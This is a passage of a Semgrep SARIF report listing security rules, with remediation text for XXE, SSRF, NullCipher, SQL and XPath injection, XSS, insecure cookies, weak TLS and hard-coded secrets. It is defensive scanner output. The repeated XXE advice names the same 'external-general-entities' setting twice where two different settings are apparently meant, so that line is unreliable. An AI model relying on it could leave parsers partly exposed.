SFTP."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open-ftp.insecure-urlopener-open-ftp"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring)\n - [https://blog.sonarsource.com/secure-xml-processor/](https://blog.sonarsource.com/secure-xml-processor/)\n - [https://blog.sonarsource.com/understanding-xxe-vulnerabilities/](https://blog.sonarsource.com/understanding-xxe-vulnerabilities/)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n - [https://cwe.mitre.org/data/definitions/611.html](https://cwe.mitre.org/data/definitions/611.html)\n - [https://cwe.mitre.org/data/definitions/776.html](https://cwe.mitre.org/data/definitions/776.html)\n - [https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E](https://docs.oracle.com/en/java/javase/13/security/java-api-xml-processing-jaxp-security-guide.html#GUID-D97A1F1D-8DDF-4D19-A7E5-99099F27346E)\n - [https://github.com/semgrep/java-xxe-research](https://github.com/semgrep/java-xxe-research)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n - [https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755](https://rules.sonarsource.com/java/type/Vulnerability/RSPEC-2755)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) or XIncludes which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a `Billion Laughs Attack`. It is our recommendation to secure this parser against XXE attacks by configuring the DocumentBuilder parser with `factory.setFeature(http://apache.org/xml/features/disallow-doctype-decl, true)`. Alternatively, the following configurations also provide protection against XXE attacks. `factory.setExpandEntityReferences(false)`, `factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)`, `factory.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, \"\")`, or enabling both `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false)` and `factory.setFeature(\"http://xml.org/sax/features/external-general-entities\", false);`. For more information, see: [Java XXE prevention](https://semgrep.dev/docs/cheat-sheets/java-xxe/)"},"helpUri":"https://semgrep.dev/r/java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","id":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","name":"java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: java.spring.security.xxe.tainted-documentbuilderfactory-xxe-spring.tainted-documentbuilderfactory-xxe-spring"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"help":{"markdown":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"NullCipher was detected. This will not encrypt anything; the cipher text will be the same as the plain text. Use a valid, secure cipher: Cipher.getInstance(\"AES/CBC/PKCS7PADDING\"). See https://owasp.org/www-community/Using_the_Java_Cryptographic_Extensions for more information."},"helpUri":"https://semgrep.dev/r/java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","id":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","name":"java.lang.security.audit.crypto.no-null-cipher.no-null-cipher","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: java.lang.security.audit.crypto.no-null-cipher.no-null-cipher"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","id":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","name":"python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","MEDIUM CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.net.tainted-django-http-request-httpx.tainted-django-http-request-httpx"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"help":{"markdown":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `Secure` flag is either missing or disabled. The `Secure` cookie flag instructs the browser to forbid sending the cookie over an insecure HTTP request. Set the `Secure` flag to `true` so the cookie will only be sent over HTTPS."},"helpUri":"https://semgrep.dev/r/python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","id":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","name":"python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false","properties":{"precision":"very-high","tags":["CWE-614: Sensitive Cookie in HTTPS Session Without 'Secure' Attribute","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.web.flask-talisman-cookie-secure-false.flask-talisman-cookie-secure-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"help":{"markdown":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS CloudFront Distribution with an insecure TLS version. TLS versions less than 1.2 are considered insecure because they can be broken. To fix this, set your `minimum_protocol_version` to `\"TLSv1.2_2018\", \"TLSv1.2_2019\" or \"TLSv1.2_2021\"`."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","id":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","name":"terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-cloudfront-insecure-tls.aws-insecure-cloudfront-distribution-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"This rule is deprecated"},"help":{"markdown":"This rule is deprecated\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request)\n - [https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/SQL_Injection](https://owasp.org/www-community/attacks/SQL_Injection)\n","text":"This rule is deprecated"},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","id":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","name":"java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-sql-from-http-request.tainted-sql-from-http-request"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"help":{"markdown":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint)\n - [https://golang.org/pkg/html/template/#HTML](https://golang.org/pkg/html/template/#HTML)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input could be used to tamper with a web page rendering, which can lead to a Cross-site scripting (XSS) vulnerability. XSS vulnerabilities occur when untrusted input executes malicious JavaScript code, leading to issues such as account compromise and sensitive information leakage. To prevent this vulnerability, validate the user input, perform contextual output encoding or sanitize the input. For more information, see: [Go XSS prevention](https://semgrep.dev/docs/cheat-sheets/go-xss/)."},"helpUri":"https://semgrep.dev/r/go.net.xss.formatted-template-string-taint.formatted-template-string-taint","id":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","name":"go.net.xss.formatted-template-string-taint.formatted-template-string-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: go.net.xss.formatted-template-string-taint.formatted-template-string-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"help":{"markdown":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event)\n - [https://www.npmjs.com/package/xml2json](https://www.npmjs.com/package/xml2json)\n","text":"Xml Parser is used inside Request Event. Make sure that unverified user data can not reach the XML Parser, as it can result in XML External or Internal Entity (XXE) Processing vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","id":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","name":"javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","MEDIUM CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-xml2json-xxe-event.express-xml2json-xxe-event"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"help":{"markdown":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly)\n - [https://owasp.org/Top10/A04_2021-Insecure_Design](https://owasp.org/Top10/A04_2021-Insecure_Design)\n","text":"Default session middleware settings: `httpOnly` not set. It ensures the cookie is sent only over HTTP(S), not client JavaScript, helping to protect against cross-site scripting attacks."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","id":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","name":"javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly","properties":{"precision":"very-high","tags":["CWE-522: Insufficiently Protected Credentials","MEDIUM CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A04:2021 - Insecure Design","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-cookie-settings.express-cookie-session-no-httponly"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Use parameterized SQL queries or properly sanitize user input instead."},"helpUri":"https://semgrep.dev/r/java.aws-lambda.security.tainted-sqli.tainted-sqli","id":"java.aws-lambda.security.tainted-sqli.tainted-sqli","name":"java.aws-lambda.security.tainted-sqli.tainted-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.aws-lambda.security.tainted-sqli.tainted-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"help":{"markdown":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"XPath queries are constructed dynamically on user-controlled input. This could lead to XPath injection if variables passed into the evaluate or compile commands are not properly sanitized. Xpath injection could lead to unauthorized access to sensitive information in XML documents. Thoroughly sanitize user input or use parameterized XPath queries if you can."},"helpUri":"https://semgrep.dev/r/java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","id":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","name":"java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep","properties":{"precision":"very-high","tags":["CWE-643: Improper Neutralization of Data within XPath Expressions ('XPath Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: java.servlets.security.tainted-xpath-from-http-request-deepsemgrep.tainted-xpath-from-http-request-deepsemgrep"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"helpUri":"https://semgrep.dev/r/javascript.express.needle.ssrf.ssrf","id":"javascript.express.needle.ssrf.ssrf","name":"javascript.express.needle.ssrf.ssrf","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","HIGH CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.needle.ssrf.ssrf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"help":{"markdown":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape)\n - [https://github.com/janl/mustache.js/#variables](https://github.com/janl/mustache.js/#variables)\n - [https://ractive.js.org/v0.x/0.7/mustaches#variables](https://ractive.js.org/v0.x/0.7/mustaches#variables)\n","text":"Detected an explicit unescape in a Mustache template, using triple braces '{{{...}}}' or ampersand '&'. If external data can reach these locations, your application is exposed to a cross-site scripting (XSS) vulnerability. If you must do this, ensure no external data can reach this location."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","id":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","name":"javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.xss.mustache.explicit-unescape.template-explicit-unescape"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","id":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","name":"kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.lang.security.net.secrets.hardcoded-secret-in-request-header.hardcoded-secret-in-request-header"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains."},"help":{"markdown":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted domains.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.net.tainted-flask-http-request-httpx.tainted-flask-http-request-httpx)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"Untrusted input might be used to build an HTTP request, which can lead to a Server-side request forgery (SSRF) vulnerability. SSRF allows an attacker to send crafted requests from the server side to other internal or external systems. SSRF can lead to unauthorized access to sensitive data and, in some cases, allow the attacker to control applications or systems that trust the vulnerable service. To prevent this vulnerability, avoid allowing user input to craft the base request. Instead, treat it as part of the path or query parameter and encode it appropriately. When user input is necessary to prepare the HTTP request, perform strict input validation. Additionally, whenever possible, use allowlists to only interact with expected, trusted 